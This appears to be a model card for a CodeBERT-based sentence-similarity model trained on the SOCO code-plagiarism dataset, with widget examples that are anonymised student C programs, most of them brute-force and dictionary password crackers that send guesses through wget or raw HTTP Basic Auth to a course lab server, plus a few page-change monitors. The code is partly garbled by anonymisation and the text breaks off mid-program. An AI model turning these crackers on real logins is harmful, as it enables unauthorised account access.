SOCO-C-CodeBERT-ST / README.md
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Add new SentenceTransformer model
0c81473 verified
metadata
tags:
  - sentence-transformers
  - sentence-similarity
  - feature-extraction
  - dense
  - generated_from_trainer
  - dataset_size:3081
  - loss:BatchAllTripletLoss
base_model: microsoft/codebert-base
widget:
  - source_sentence: "#include <sys/times.h>\n#include <strings.h>\n#include <string.h>\n#include <ctype.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/times.h>\n#include <strings.h>\n#include <string.h>\n#include <ctype.h>\n#include <sys/time.h>\n#define ant 1e9\n\nint ()\n{\nchar c[2],[3][2];\nregister int i,j,k,x,y,z,t,r,s,final,count=0;\nint starttime,endtime,totaltime; \nchar ch[5],ch1[5],ch2[5],s1[100],s2[100];\nc[0]='A',c[1]='a';\n[0][1]=[1][1]=[2][1]='\\0';\n\nstrcpy(s1, \"wget --http-user= --http-passwd=\");\n    strcpy(s2, \" http://sec-crack.cs.rmit.edu./SEC/2/\");\n\nstarttime=time();\n\nfor(r=0;r<=1;r++)\n{\n\t\n\tfor(i=c[r],x=0;x<=25;x++,i++)\n\t{\n\t\t\n\t\t [0][0]=i;\n\t\t strcpy(ch,[0]);\n\n\n\t\tfor(s=0;s<=1;s++)\n\t\t{\n\t\t\tfor(j=c[s],z=0;z<=25;z++,j++)\n\t\t\t{\t\n\t\t\n\t\t\t\t[1][0]=j;\n\t\t\t\tstrcpy(ch1,[0]);\n\t\t\t\tstrcat(ch1,[1]);\n\n\t\t\t\tfor(t=0;t<=1;t++)\n\t\t\t\t{\n\t\t\t\t\tfor(k=c[t],y=0;y<=25;y++,k++)\n\t\t\t\t\t{\tcount++;\n\t\t\t\t\t\t[2][0]=k;\n\t\t\t\t\t\tstrcpy(ch2,ch1);\n\t\t\t\t\t\tstrcat(ch2,[2]);\n\t\t\t\t\t\tprintf(\"\\n  %s\",ch2);\n\n\n\n         strcat(s1, ch2);\n          strcat(s1, s2);\n\t  printf(\"\\n combination sent %s\\n\", s1);\n          final = system(s1);\n          if (final == 0)\n          {\n            endtime=time();\n\t\ttotaltime=(endtime-starttime);\n\t\t printf(\"count %d\",count);\n\t    printf(\"totaltime %1f\",(double)totaltime/ant);\n\t    printf(\"\\nsuccess %s\\n\",ch2);\n            exit(1);\n          }\n\n\n\t  strcpy(s1, \"\");\n\t  strcpy(s1, \"wget --http-user= --http-passwd=\");\n\n\n\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t   }\n}\n\n}\n\n\n\n"
    sentences:
      - "\n\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/time.h>\n#include <arpa/inet.h>\n#include <errno.h>\n#include <signal.h>\n\n#define BUFFER_SIZE 2000\n#define RETURN_OK 0\n#define RETURN_ERROR 1\n#define TRUE  1\n#define FALSE 0\n#define PASSWORD_LENGTH 3\n\n#define STATUS_OK            200\n#define STATUS_AUTH_REQUIRED 401\n#define CONN_CLOSED          2\n\n\nchar *host;\nchar *filename;\nint  ;\nchar *url;\nchar *username;\nint attempt;\nstruct sockaddr_in serverAddr;\n\n\nvoid processArguments(int, char **argv, char **, char **);\nvoid printUsage(char *);\nvoid splitURL(const char *, char **, char **);\nint openConnection();\nvoid initialiseConnection();\nvoid sendRequest(int, char *, char *, char *, char *);\nint getResponseStatus(int);\nvoid base64_encode(const unsigned char *, unsigned char *);\nvoid getHostErrorMsg(char *);\nvoid generatePassword(char *, int);\nvoid testPassword(char *);\n\n\n\n\nint main(int argc, char *argv[])\n{\n    char password[PASSWORD_LENGTH+1];\n    int i;\n\n    \n\n    attempt = 0;\n    processArguments(argc, argv, &url, &username);\n    splitURL(url, &host, &filename);\n\n    initialiseConnection();\n     = openConnection();\n\n    \n\n    for (i=1; i<=PASSWORD_LENGTH; i++)\n    {\n        memset(password, 0, PASSWORD_LENGTH+1);\n        generatePassword(password, i);\n    }\n\n    printf(\"The password has not been cracked\\n\");\n    exit(RETURN_OK);\n\n}\n\n\n\n\nvoid generatePassword(char *password, int reqLength)\n{\n    static const char *chars = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n    int currLength;\n    int i;\n\n    currLength = strlen(password);\n    currLength++;\n\n    for (i=0; i<strlen(chars); i++)\n    {\n        password[currLength-1] = chars[i];\n\n        if (strlen(password) != reqLength)\n        {\n           \n           generatePassword(password, reqLength);\n        }\n        else\n        {\n           testPassword(password);\n        }\n\n        password[currLength] = '\\0';\n    }\n}\n\n\n\n\nvoid testPassword(char *password)\n{\n    int status;\n\n    attempt++;\n\n    \nTestPassword:\n    sendRequest(, host, filename, username, password);\n    status = getResponseStatus();\n\n    if (status == STATUS_OK)\n    {\n        printf(\"The password has been found after %d attempts: %s\\n\",\n               attempt, password);\n        exit(RETURN_OK);\n    }\n    else if (status == CONN_CLOSED)\n    {\n        \n        ();\n         = openConnection();\n        goto TestPassword;        \n    }\n    else if (status != STATUS_AUTH_REQUIRED)\n    {\n        printf(\"Status %d received from server\\n\", status);\n        exit(RETURN_ERROR);\n    }\n\n}\n\n\n\n\nvoid processArguments(int argc, char *argv[], char **url, char **username)\n{\n    if (argc != 3)\n    {\n        printUsage(argv[0]);\n        exit(1);\n    }\n\n    *url = (char *) malloc(strlen(argv[1] + 1));\n    strcpy(*url, argv[1]);\n\n    *username = (char *) malloc(strlen(argv[2] + 1));\n    strcpy(*username, argv[2]);\n\n}\n\n\n\n\n\nvoid printUsage(char *program)\n{\n    fprintf(stderr, \"Usage:\\n\");\n    fprintf(stderr, \"%s url username\\n\", program);\n}\n\n\n\n\nvoid splitURL(const char *url, char **host, char **file)\n{\n    char *p1; \n    char *p2;\n\n    \n    p1 = strstr(url, \"//\");\n    if (p1 == NULL)\n        p1 = (char *) url;\n    else\n        p1 = p1 + 2;\n\n    \n    p2 = strstr(p1, \"/\");\n    if (p2 == NULL)\n    {\n        fprintf(stderr, \"Invalid url\\n\");\n        exit(RETURN_ERROR);\n    }\n\n    *host = (char *) malloc(p2-p1+2);\n    strncpy(*host, p1, p2-p1);\n    (*host)[p2-p1] = '\\0';\n\n    *file = (char *) malloc(strlen(p2+1));\n    strcpy(*file, p2);\n\n}\n\n\n\n\nvoid sendRequest(int , char *host, char *filename, char *username, \n                 char *password)\n{\n    char message[BUFFER_SIZE];\n    unsigned char encoded[BUFFER_SIZE];\n    unsigned char token[BUFFER_SIZE];\n\n    \n\n    \n    sprintf((char *) token, \"%s:%s\", username, password);\n    base64_encode(token, encoded);\n\n    sprintf(message, \"GET %s HTTP/1.1\\nHost: %s\\nAuthorization:  %s\\n\\n\",\n            filename, host, encoded);\n\n    if (write(, message, strlen(message)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n}\n\n\n\n\nint getResponseStatus()\n{\n    char message[BUFFER_SIZE];\n    int  bytesRead;\n    char *p1;\n    char status_str[4];\n    int  status;\n\n    \n\n    while (TRUE)\n    {\n        bytesRead = (, message, BUFFER_SIZE-1);\n        if (bytesRead == -1)\n        {\n            perror(\"\");\n            exit(RETURN_ERROR);\n        }\n        else if (bytesRead == 0)\n        {\n            \n            return CONN_CLOSED;\n        }\n\n        message[bytesRead+1] = '\\0';\n\n        \n        p1 = strstr(message, \"HTTP\");\n        if (p1 != NULL)\n        {\n            p1 = p1 + 9;\n            break;\n        }\n    }\n\n    strncpy(status_str, p1, 3);\n    status_str[3] = '\\0';\n    status = atol(status_str);\n\n    return status;\n}\n\n\n\n\nint openConnection()\n{\n    int ;\n\n    if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n    {\n        perror(\"\");\n        exit(RETURN_ERROR);\n    }\n\n    if (connect(, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) == -1)\n    {\n        perror(\"connect\");\n        exit(RETURN_ERROR);\n    }\n\n    return ;\n}\n\n\n\n\nvoid initialiseConnection()\n{\n    struct hostent *serverHostent;\n    unsigned  serverIP;\n    char errorMsg[BUFFER_SIZE]; \n\n\n    \n\n    memset(&serverAddr, 0, sizeof(serverAddr));\n    serverAddr.sin_port = htons(80);\n\n\n    if ((serverIP = inet_addr(host)) != -1)\n    {\n        serverAddr.sin_family = AF_INET;\n        serverAddr.sin_addr.s_addr = serverIP;\n    }\n    else if ((serverHostent = gethostbyname(host)) != NULL)\n    {\n\tserverAddr.sin_family = serverHostent->h_addrtype;\n        memcpy((void *) &serverAddr.sin_addr,\n\t\t (void *) serverHostent->h_addr, serverHostent->h_length);\n    }\n    else\n    {\n       getHostErrorMsg(errorMsg);\n       printf(\"%s: %s\\n\", host, errorMsg);\n       exit(RETURN_ERROR);\n    }\n}\n\n\n\n \nvoid base64_encode(const unsigned char *input, unsigned char *output)\n{\n    static const char *codes = \n      \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n    int i;\n    int len;\n    int lenfull;\n    unsigned char *p;\n    int a;\n    int b;\n    int c;\n    \n    p = output;\n    len = strlen((char *) input);\n\n    \n\n    lenfull = 3*(len / 3);\n    for (i = 0; i < lenfull; i += 3) \n    {\n        *p++ = codes[input[0] >> 2];\n        *p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];\n        *p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];\n        *p++ = codes[input[2] & 0x3f];\n        input += 3;\n    }\n\n\n    \n\n    if (i < len)\n    {\n        a = input[0];\n        b = (i+1 < len) ? input[1] : 0;\n        c = 0;\n\n        *p++ = codes[a >> 2];\n        *p++ = codes[((a & 3) << 4) + (b >> 4)];\n        *p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';\n        *p++ = '=';\n    }\n\n    \n    *p = '\\0';\n \n}\n\n\n\n\nvoid getHostErrorMsg(char *message)\n{\n    switch (h_errno)\n    {\n         HOST_NOT_FOUND :\n             strcpy(message, \"The specified host is unknown\");\n             break;\n\n         NO_DATA:\n             strcpy(message, \"The specified host name is valid, but does not have   address\");\n             break;\n\n         NO_RECOVERY:\n             strcpy(message, \"A non-recoverable name server error occurred\");\n             break;\n\n         TRY_AGAIN:\n             strcpy(message, \"A temporary error occurred   authoritative name server. Try again later.\");\n             break;\n\n        default:\n             strcpy(message, \" unknown name server error occurred.\");\n    }\n}\n\n"
      - "# include <stdlib.h>\n# include <stdio.h>\n# include <strings.h>\n\n\nint ()\n{\n\t\n\tFILE* fpp;\t\t\t\t\t\t\t\t\t\t\n\tFILE* fp;\n\t\t\t\n\tchar s[100];\n\tint i;\n\t\n\twhile(1)\t\t\t\t\t\t\t\t\t\t\n\t{\n\t\tsystem(\"wget -nv http://www.cs.rmit.edu./students\");\t\t\t\t\n\t\t\n\t\ti=0;\t\t\n\t\t\n\t\tfp = fopen(\"dummyindex.txt\",\"r\");\n\t\t\n\t\tif(fp == (FILE*) NULL)\t\t\t\t\t\t\t\t\n\t\t{\n\t\t\tprintf(\" is  previously saved webpage in the file\\n\");\n\t\t\ti=1;\n\t\t\tfp = fopen(\"dummyindex.txt\",\"w\");\n\n\t\t}\n\t\t\t\t\n\t\tfclose(fp);\n\t\t\n\t\t\t\t\n\t\t\n\t\t\n\t\t\n\t\tsystem(\"diff index.html dummyindex.txt > compareoutput.txt\");\t\t\n\n\t\t\t\t\n\t\tif(fpp != (FILE*) NULL)\t\n\t\t{\n\t\t\t\n\t\t\tfpp = fopen(\"compareoutput.txt\",\"r\");\t\t\t\t\t\n\t\t\t\n\t\t\tfgets(s,100,fpp);\t\t\t\t\t\t\t\n\t\t\t\n\t\t\tfclose(fpp);\t\t\t\t\t\t\t\t\n\t\t\n\t\t\n\t\t   \n\t\t\tif((strlen(s)>0) && i==0)\t\t\t\t\t\t\t\t\n\t\t\t{\n\t\t\t\tsystem(\"mail @cs.rmit.edu. < compareoutput.txt\");\t\n\t\t\t\tsystem(\"cp index.html dummyindex.txt\");\t\t\t\t\n\t\t\t\tprintf(\"Message has been sent\\n\");\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t\tprintf(\" is  change in the \\n\");\t\t\t\n\t\t}\n\t\t\n\t\t\n\n\t\tsystem(\"rm index.html\")\t;\t\t\t\t\n\t\t\n\t\tsleep(86400);\t\t\t\t\t\t\t\t\t\n\t}\n\t\t\t\t\n\treturn 1;\n}\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    FILE* fp;\n    int pass,len;\n    int count = 0;\n    char [50];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n    fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n    while (fp !='\\0')\n     {\n       fgets( ,50,fp);\n\n       len = strlen();\n       [strlen()-1] ='\\0';\n\n       if(len <= 4)\n       {\n         count++;\n\t     printf(\"Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t     strcat(url1,);\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t    if (pass == 0)\n\t    {\n\t      stopTime = time();\n          final = stopTime-startTime;\n\t      printf(\"\\n SUCCESS\\n\");\n\t      printf(\"The password for the user  : %s\\n \",);\n\t      printf(\"Found the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t       printf(\"Number of attempts : %d\\n\",count);\n          exit(1);\n\t }\n        }\n       }\n\n }\n"
  - source_sentence: "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100];\nint count=0;\nchar ch;\nchar line[100];\nchar filename[50];\nchar *token;\nconst char delimiter[]=\" \\n.,;:!-\";\nFILE *fp;\nint  total_time,start_time,end_time;\nstart_time = time();\nstrcpy(filename,\"/usr/share/lib/dict/words\");\nif((fp=fopen(filename,\"r\"))==NULL){\nprintf(\"cannot open file\\n\");\nexit(1);\n}\nwhile((fgets(line,sizeof(line),fp))!=NULL)\n{\n        token=strtok(line,delimiter); \n        while(token!=NULL)\n                {\n            count++;\n\t    printf(\"ATTEMPT : %d\\n\",count);\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\");\n                strcat(a,token);                \n                printf(\"The request %s\\n\",a); \n                if(system(a)==0)\n\t\t{\n\t\tprintf(\"Congratulations!!!Password obtained using DICTIONARY ATTACK\\n\");\n\t\tprintf(\"************************************************************\\n\");\n\t\tprintf(\"Your password is %s\\n\",token);\n\t\tprintf(\"The Request sent is %s \\n\",a);\n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf(\"The Time Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\n              \n                token=strtok(NULL,delimiter);\n                \n                 }\n}\n\n\nfclose(fp);\nreturn 0;\n}\n"
    sentences:
      - "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include <unistd.h>\n\t\t\t\t  \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n#define MAX_CHAR_SET 52\n\n#define TRUE 1\n#define FALSE 0\n\n\n\n\n\n\n\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\nint runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func);\nchar* initPasswdStr(int len, char ch);\nint getChPos(const char chSet[], int numOfCh, char ch);\nint pow(int x, int y);\nint crackHTTPAuth(const char *username, const char *passwd);\n\nint ()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K',\n\t\t\t\t\t\t\t'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', \n\t\t\t\t\t\t\t'W', 'X', 'Y', 'Z',\n\t\t\t\t\t\t\t'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',\n\t\t\t\t\t\t\t'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', \n\t\t\t\t\t\t\t'w', 'x', 'y', 'z'};\n\t\n\tchar charSetS[] = {'A', 'B', 'C'};\n\n\tint i; \n\t\n\tfor (i=1; i<=MAX_PASSWD_LEN; i++)\n\t{\n\t\tif (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth))\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t}\n\n\tprintf(\"\\n...password not found\\n\");\t\t\t\t\t\t\t \t\n\treturn 0;\n}\n\nint runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func)\n{\n\tint iter; \n\tint chIter; \n\tint curPos = 0; \n\t\n\tchar *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len, chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\n\tfor (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++)\n\t{\n\t\tfor (chIter=len-1; chIter>=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh, chIter) == 0) \n\t\t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\t\t\t\tstr[chIter] = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh, (chIter+1)) == 0) \n\t\t\t{\n\t\t\t\tstr[chIter] = chSet[0];\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (func(USERNAME, str))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\", str);\n\t\t\tpasswdFound = TRUE;\n\t\t}\n\n\t\t\n\t\tprintf(\".\");\n\t\t\t\t\t\n\t}\n\n\t(str);\n\tstr = NULL;\n\n\treturn passwdFound;\n}\n\nint getChPos(const char chSet[], int numOfCh, char ch)\n{\n\tint i;\n\t\n\tfor (i=0; i<numOfCh; i++)\n\t{\n\t\tif (chSet[i] == ch)\n\t\t{\n\t\t\treturn i;\n\t\t}\n\t}\n\n\treturn -1;\n\t\n}\n\nchar* initPasswdStr(int len, char ch)\n{\n\tint i;\n\n\tchar *str;\n\n\tstr = malloc(len);\n\n\tif (str)\n\t{\n\t\tfor (i=0; i<len; i++)\n\t\t{\n\t\t\tstr[i] = ch;\n\t\t}\n\t\tstr[len] = '\\0';\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Unable  allocate %d bytes memory.\");\n\t\texit(1);\n\t}\n\t\n\treturn str;\n}\n\nint pow(int x, int y)\n{\n\tint ans = 1, i;\n\t\n\tfor (i=0; i<y; i++)\n\t{\n\t\tans *= x;\n\t}\n\n\treturn ans;\n}\n\nint crackHTTPAuth(const char *username, const char *passwd)\n{\n\tchar cmd[256];\n\tstruct stat fileInfo;\n\t\n\tsprintf(cmd, \"wget -O  -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\t\t\t\t\tusername, passwd, URL);\n\n\tsystem(cmd);\t\n\n\t(void)stat(\"\", &fileInfo); \n\n\treturn fileInfo.st_size;\n\t\n}\n\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n#include <sys/time.h>\n#define OneBillion 1e9\n\nint ()\n{   int startTime, stopTime, final;\n    int i,j,k;\n    FILE* fp;\n    int pass,len;\n    int count = 0;\n    char [50];\n    char url1[100];\n    char url2[100];\n\n    startTime = time();\n    fp = fopen(\"/usr/share/lib/dict/words\",\"r\");\n    while (fp !='\\0')\n     {\n       fgets( ,50,fp);\n\n       len = strlen();\n       [strlen()-1] ='\\0';\n\n       if(len <= 4)\n       {\n         count++;\n\t     printf(\"Checking for the word :%s\\n\",);\n\t     strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\t     strcat(url1,);\n\t     strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \");\n\t     strcat(url1,url2);\n\n\n\t     pass = system(url1);\n\t    if (pass == 0)\n\t    {\n\t      stopTime = time();\n          final = stopTime-startTime;\n\t      printf(\"\\n SUCCESS\\n\");\n\t      printf(\"The password for the user  : %s\\n \",);\n\t      printf(\"Found the password in %lld nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t       printf(\"Number of attempts : %d\\n\",count);\n          exit(1);\n\t }\n        }\n       }\n\n }\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n\nint ()\n{\n char lc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n char uc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n char gc[53]=\"abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n int a=0,b=0,c=0,d,e,count=0;\n char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];\n char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;\n \n int  ,end,t;\n  = time(); \nwhile(sizeof(lc)!=52)\n{\n     temp2[0]=lc[d];\n     temp2[1]='\\0';\n     d=d+1;\n     strcpy(p,temp2);\n   \n   while(sizeof(uc)!=52)\n   {\n      temp3[0]=uc[b];\n      temp3[1]='\\0';\n      b=b+1;\n      strcpy(q,p);\n      strcat(q,temp3);\n    for(e=0;e<52;e++)\n    {\n        temp1[0]=gc[e];\n\ttemp1[1]='\\0';\n\tstrcpy(r,q);\n\tstrcat(r,temp1);\n       strcpy(mx,\"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=\");\n       strcat(mx,r);\n       printf(\"temp3=%s\\n\",mx);\n       if(system(mx)==0)\n       { \n         printf(\"Password=%s\\n\",mx);\n\t printf(\"%d \\n\",count);\n\t end = time();\n         t = (end -);\n         t /= 1000000000.0;\n         printf(\"The total time_var taken is:%llds\\n\",t);\n\t exit(1);\n       \n       }\n      }\n     }\n }\n return 0;\n}\n"
  - source_sentence: "\n\n\n\n\n\n\n\n\n\n\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<sys/types.h>\n#include<sys/times.h>\n#include<sys/time.h>\n#include<unistd.h>\n\nint ()\n{\n  char url[80];\n  char syscom[]= \"wget -nv --http-user= --http-passwd=\";\n  char http[] = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n  char [] =\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\n  char username[8];\n  char pass[4];\n  int i,j,k,hack=1;\n  int attempt = 1;\n  int , end, time_var;\n\n   = time();\n  for ( i = 0 ;i<strlen();i++)\n    {\n      pass[0]=[i];\n      for( j = 0 ;j<strlen();j++)\n        {\n          pass[1]=[j];\n          for ( k = 0 ;k<strlen();k++)\n             {\n               fflush(stdin);\n               pass[2]=[k];\n               pass[3]='\\0';\n               printf(\"%s\\n\",pass);\n\n               sprintf(url,\"%s%s %s\",syscom,pass,http);\n               hack = system(url);\n               attempt++;\n               if (hack == 0)\n               {\n                  end = time();\n                  time_var = (end-);\n                  printf(\"\\nbr\tThe password is :%s\",pass);\n                  printf(\"\\nNo. of Attempts   crack the password :%d\",attempt);\n                  printf(\"\\nTime taken  crack the password = %lld sec\\n\",time_var/1000000000);\n                  exit(1);\n                }\n              }\n          }\n      }\n }\n\n"
    sentences:
      - "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,m,k,count=0;\n\tFILE* diction;\n\tFILE* log;\n\tchar s[30];\n\tchar pic[30];\n\tchar add[1000];\n\tchar end[100];\n\ttime_t ,finish;\n\tdouble ttime;\n\t\n\tstrcpy(add,\"wget --http-user= --http-passwd=\");\n\tstrcpy( end,\"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/\");\n\tdiction=fopen(\"/usr/share/lib/dict/words\",\"r\");\n\t=time(NULL);\n\twhile(fgets(s,100,diction)!=NULL)\t\n\t{\t\n\t\tprintf(\"%s\\n\",s);\n\t\tfor(m=40,k=0;k<(strlen(s)-1);k++,m++)\n\t\t{\n\t\t\tadd[m]=s[k];\n\t\t}\n\t\tadd[m++]=' ';\n\t\tfor(i=0;i<50;i++,m++)\n\t\t{\n\t\t\tadd[m]=end[i];\n\t\t}\n\t\tadd[m]='\\0';\n\t\t\n\t\tsystem(add);\n\t\tcount++;\n\t\tlog=fopen(\"logd\",\"r\");\n\t\tfgets(pic,100,log);\n\t\tprintf(\"%s\",pic);\n\t\tif(strcmp(pic,\"Authorization failed.\\n\")!=0)\t\n\t\t{\n\t\t\tfinish=time(NULL);\n\t\t\tttime=difftime(,finish);\n\t\t\tprintf( \"\\n The time_var take:%f/n The  of passwords tried is %d\\n\",ttime,count);\n\t\t\tbreak;\n\t\t}\n\t\tfclose(log);\n\t}\n\n}\n"
      - "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n   int i, cnt, flag;\n   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n   char fin;\n   \n   strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\");\n   strcpy(string2,\" --http-user= --http-passwd='\");\n   strcpy(,\"\");\n\n   while ((fin = fgetc(fp)) != EOF)\n   {\n      cnt = 0;\n      \n      for (i=0;i<MAX_SIZE;i++)\n      {   \n         passwd[i] = '\\0';\n         [i] = '\\0';\n      }\n\t \n      while(fin != '\\n')\n      {\n\t passwd[cnt] = fin;\n\t cnt++;\n\t fin = fgetc(fp);\n      } \n         \n      if(strlen(passwd) <= 3)\n      {\n         strcat(, string1);\n         strcat(, string2);\n\t strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\n\",);\n\t flag = system();\n\t  \n         if (flag == 0)\n\t {\n            printf(\"\\nPassword is %s\\n\",passwd);\n\t    return 1;\n\t }\n         \n\t strcpy(,\"\"); \n         strcpy(passwd,\"\");\n       }\n    }\n}  \n\n\nint  (int argc, char *argv[])\n{\n   char *fname;\n   FILE *fp;\n   \n   int , end;    \n   \n    = time();\n    \n   if (argc != 2)\n   {\n      fprintf(stdout,\"Usage : ./Dictionary <dictionary>\\n\");\n      return(EXIT_FAILURE);\n   }\n   \n   fname = argv[1];\n   \n   if((fp = fopen(fname, \"r\")) == NULL)\n   {\n      fprintf(stderr,\"Error : Failed  open %s for . \\n\",fname);\n      return(EXIT_FAILURE);\n   }\n   \n   CrackPasswd(fp);\n  \n   end = time(); \n   printf(\"Time Required = %lld msec\\n\",(end-)/());\n   return (EXIT_SUCCESS);\n  \n}\n     \n\t   \n\t  \t\n"
      - "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n\nint ()\n{\n  FILE *fh,*fp,*fp1,*d;\n  char\n  [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];\n  sleep(60*60*24);\n  system(\"wget http://www.cs.rmit.edu./students\");\n  if(system==0)\n  {\n   printf(\"File stored\");\n  }\n  strcpy(filename,\"index.html\"); \n  if((fh=fopen(filename,\"r\"))==NULL)\n  {\n   printf(\"cannot open file\\n\");\n   exit(1);\n  }\n  fp=fopen(\"index.txt\",\"r\");\n  fp1=fopen(\"index1.txt\",\"r\");\n \n  while((fgets(PassString,sizeof(PassString),fh))!= NULL)\n  {\n    fread(p,sizeof(PassString),sizeof(PassString),fh);\n    printf(\" contents %s\\n\",p);\n    while((f1!=EOF) || (f2!=EOF))\n    {\n     f1=getc(fp);\n     f2=getc(fp1);\n     if(f1<f2)\n     {\n     strcpy(,p);\n     fp=fopen(\"index.txt\",\"r+b\");\n     fputs(,fp);\n     fflush(fp); \n     fclose(fp); \n    }\n    else\n    {\n      strcpy(temp1,p);\n      fp1=fopen(\"index1.txt\",\"r+b\");\n      fputs(temp1,fp1);\n      fflush(fp1);\n      fclose(fp1);\n    }\n    }\n    if(system(\"diff -b -w index.txt index1.txt > Diff.txt\")==0)\n    {\n      d=fopen(\"Diff.txt\",\"r\");\n      if((fgets(,sizeof(),d))!=NULL)\n      {\n        printf(\"The difference between  exist\");\n\tsystem(\"Mail \\r\\n Difference\");\n      }\n      \n    }\n  }\n return 0;\n  }\n"
  - source_sentence: "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n   int i, cnt, flag;\n   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n   char fin;\n   \n   strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\");\n   strcpy(string2,\" --http-user= --http-passwd='\");\n   strcpy(,\"\");\n\n   while ((fin = fgetc(fp)) != EOF)\n   {\n      cnt = 0;\n      \n      for (i=0;i<MAX_SIZE;i++)\n      {   \n         passwd[i] = '\\0';\n         [i] = '\\0';\n      }\n\t \n      while(fin != '\\n')\n      {\n\t passwd[cnt] = fin;\n\t cnt++;\n\t fin = fgetc(fp);\n      } \n         \n      if(strlen(passwd) <= 3)\n      {\n         strcat(, string1);\n         strcat(, string2);\n\t strcat(, passwd);\n\t strcat(, \"'\");\n\t 